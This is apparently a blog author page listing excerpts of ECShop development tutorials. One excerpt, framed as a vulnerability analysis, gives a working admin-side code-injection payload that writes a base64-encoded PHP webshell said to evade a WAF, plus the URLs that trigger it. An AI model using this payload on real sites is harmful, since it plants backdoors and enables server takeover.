作者文章

fwq

FWQ
网站开发
Ecshop首页中"所有商品分类"的自动隐藏功能
在ecshop做的一个网站中,首页的所有商品分类挡住了后面的首页滚动广告,希望能够鼠标放上去,显示,不放上去,就自动隐藏。 这个功能,看起来很容易,原本以为,几分钟的事情。结果做起来,发现还经历了一些小曲折。最终实现效果如下。 左侧为鼠标没放上去的时候,菜单自动隐藏。右侧为鼠标放上去后,菜单自动显示。 事件从 onclick修改为onMouseOver,onMouseOut即可。 这样完成后,感觉大功告成了,结果一试验,发现还有问题。这样做,只是把菜单中的第一条隐藏了。其他的还一直在显示。随后,对js中的sw_navTest进行了改造。终于搞定。 现在仍有一个疑问。即,虽然实现了,但是并不明白原理。 最终实现结果如下。 在category_tree_index.lbi 文件中进行修改。 在<script type=”text/javascript”></script>之间再增加一个js函数。 我命名为sw_navTest(),大家可以根据要求自己来定。函数内容如下:   function sw_navTest(obj)   {   var a = document.getElementsByName(obj);     var num=0;    …
2025-04-24 阅读全文 →
FWQ
网站开发
ecshop后台语言项执行漏洞详解
该漏洞需要能登录ecshop后台权限,简单修改下语言项目,即可在网站植入木马后门。 以下是详细分析 1.登陆到ecshop台后,选择模板管理,语言项编辑,搜索“用户信息” 为什么要搜索“用户信息”,还可以搜索其它的吗? 答案是搜索languages\zh_cn\user.php文件里任何一个变量都可以 2.添加如下后门,将用户信息改为 用户信息${${fputs(fopen(base64_decode(Sm95Q2hvdS5waHA),w),base64_decode(PD9waHAKYXNzZXJ0KAokX1BPU1RbeF0KKTsKPz4))}} 即生成一个JoyChou.php文件,内容为(可以过安全狗的一句话哦): <?php assert( $_POST[x] ); ?> 3.访问user.php即可产生shell(不用注册登录账户) http://localhost/ECShop_V2.7.3_UTF8_release0411/user.php 或 http://localhost/ECShop_V2.7.3_UTF8_release0411/languages/zh_cn/user.php
2025-04-24 阅读全文 →
FWQ
网站开发
ecshop注册页面添加推荐人验证功能
实现ecshop注册页有推荐人功能,主要修改4个页面     思路,就是复制  用户名input的功能给推荐人就行了  不用改底层     1.前台模板   user_passport.dwt     2.js(jquery实现的)文件     user.js     3.前台       user.php     4.             lib_passport.php   1首先在用户注册模板中的相关位置添加    推荐人input  html属性  <!–邮箱–>                 <div class=”inputbg”>                    <label class=”labelbox”>                      …
2025-04-24 阅读全文 →
FWQ
网站开发
ecshop详细页不同级别客户看到不同价格(只改模
ecshop详细页不同级别客户看到不同价格(只改模板) 模板文件:goods.dwt 找到如下代码:        <!– {foreach from=$rank_prices item=rank_price key=key} 会员等级对应的价格–>        <strong>{$rank_price.rank_name}:</strong><font class=”shop” id=”ECS_RANKPRICE_{$key}”>{$rank_price.price}</font><br />        <!–{/foreach}–> 改为        <!– {foreach from=$rank_prices item=rank_price key=key} 会员等级对应的价格–>        <!– {if…
2025-04-24 阅读全文 →
FWQ
网站开发
ECSHOP调用指定商品分类
 首先是复制一个 index.php 文件,更名为 chengkao.php ,这次好模板采用ecshop做的一个频道,因此就用成考的拼音来命名吧。 一、搜索 index.dwt 替换为 chengkao.dwt 二、把以下代码粘贴到文件倒数第二行的位置,</?> 的前面,非特定。 /** * 获得指定分类商品列表。 */ function cat_goods_list($cat_id) { $sql = ‘SELECT g.goods_id, g.goods_name, g.goods_name_style, g.market_price, g.shop_price, g.goods_thumb , g.goods_img,…
2025-04-24 阅读全文 →
FWQ
网站开发
把ecshop中商品图分离到子域名以加速显示
在使用ecshop做商店时,大量的图片是避免不了的。为了解决同域下浏览器下载的线程的限制,我们有必要把ecshop里上传的图片分离到另一个域名下。当前我采用产品ID的最后一个小数除以2取整来划分不同的子域来,这样在页面被浏览时加载图片可以更多同步线程下载到浏览器端以加速显示。   下面是我修改ecshop的方法:   在/includes/lib_common.php中大约2774行,找到下面代码,增加红色部位即可。   function get_image_path($goods_id, $image=”, $thumb=false, $call=’goods’, $del=false){     $url = empty($image) ? $GLOBALS[‘_CFG’][‘no_picture’] : $image;     $url = str_replace(‘images/’,’http://pic’.floor(substr($goods_id,-1)/2).’.ldhost.cn/’,$url); // 增加的…
2025-04-24 阅读全文 →
FWQ
网站开发
ECSHOP无法登录后台-URL中目录大小写问题
 使用Windows服务器搭建ECSHOP网店的朋友,如果后台URL中目录大小写和/data/config.php中ADMIN_PATH的路径声明不一致,虽能访问到登录页面,但输入用户名和密码却无法登录,有些朋友会误认为密码错误了,其实这是由于Windows目录不区分大小写,而在PHP是区分大小写的。 /admin/includes/init.php中管理员身份验证: if ($_REQUEST['act'] != 'login' && $_REQUEST['act'] != 'signin' &&      $_REQUEST['act'] != 'forget_pwd' && $_REQUEST['act'] != 'reset_pwd' && $_REQUEST['act'] != 'check_order')  {      $admin_path = preg_replace('/:\d+/', '', $ecs->url()) . ADMIN_PATH;      if (!empty($_SERVER['HTTP_REFERER']) &&          strpos(preg_replace('/:\d+/', '', $_SERVER['HTTP_REFERER']), $admin_path) === false)      {          if (!empty($_REQUEST['is_ajax']))          {              make_json_error($_LANG['priv_error']);          }          else          {              ecs_header("Location: privilege.php?act=login\n");          }            exit;      }  }   解决办法:保证URL中目录大小写和/data/config.php中ADMIN_PATH常量一致。
2025-04-24 阅读全文 →
FWQ
网站开发
ecshop购物车无刷新更新
 ecshop的购物车使用是相当的不方便.ecshop购物车一旦加入了商品,就必须点更新数量的按扭才能够更新.这样对ecshop使用者相当的不方便。我们将结合ecshop ajax的思路。来讲讲用ecshop的ajax无刷新更新购物车.     1:首先要包含js/shopping_flow.js 该文件主要是针对ecshop购买流程控制的js.我们将增加以下函数.     function submit_update_cart(rec_id){  var goods_number = document.getElementById(“goods_number_”+rec_id).value;    Ajax.call(‘flow.php?step=ajax_update_cart’, ‘goods_number=’ + goods_number+’&rec_id=’+rec_id, submit_update_cartResponse_cart, ‘GET’, ‘JSON’);  }      2:在flow.dwt中。我们要修改input输入框.<input type=”text” name=”goods_number[{$goods.rec_id}]” id=”goods_number_{$goods.rec_id}”   …
2025-04-24 阅读全文 →
FWQ
网站开发
修正ECSHOP验证码不显示的一个BUG
ECSHOP【验证码管理】设置“用户登录-启用验证码”,“发表评论-不启用验证码”,商品评论和文章评论依然显示验证码。“发表评论不启用验证码”设置无效,这是变量enabled_captcha重名引起的。 解决办法 一、/includes/lib_insert.php,修改insert_comments($arr)函数 $GLOBALS['smarty']->assign('enabled_captcha', 1);  替换为  $GLOBALS['smarty']->assign('enabled_comment_captcha', 1);  二、编辑库文件comment_list.lbi <!-- 判断是否启用验证码{if $enabled_captcha} -->  替换为 <!-- 判断是否启用验证码{if $enabled_comment_captcha} -->   
2025-04-24 阅读全文 →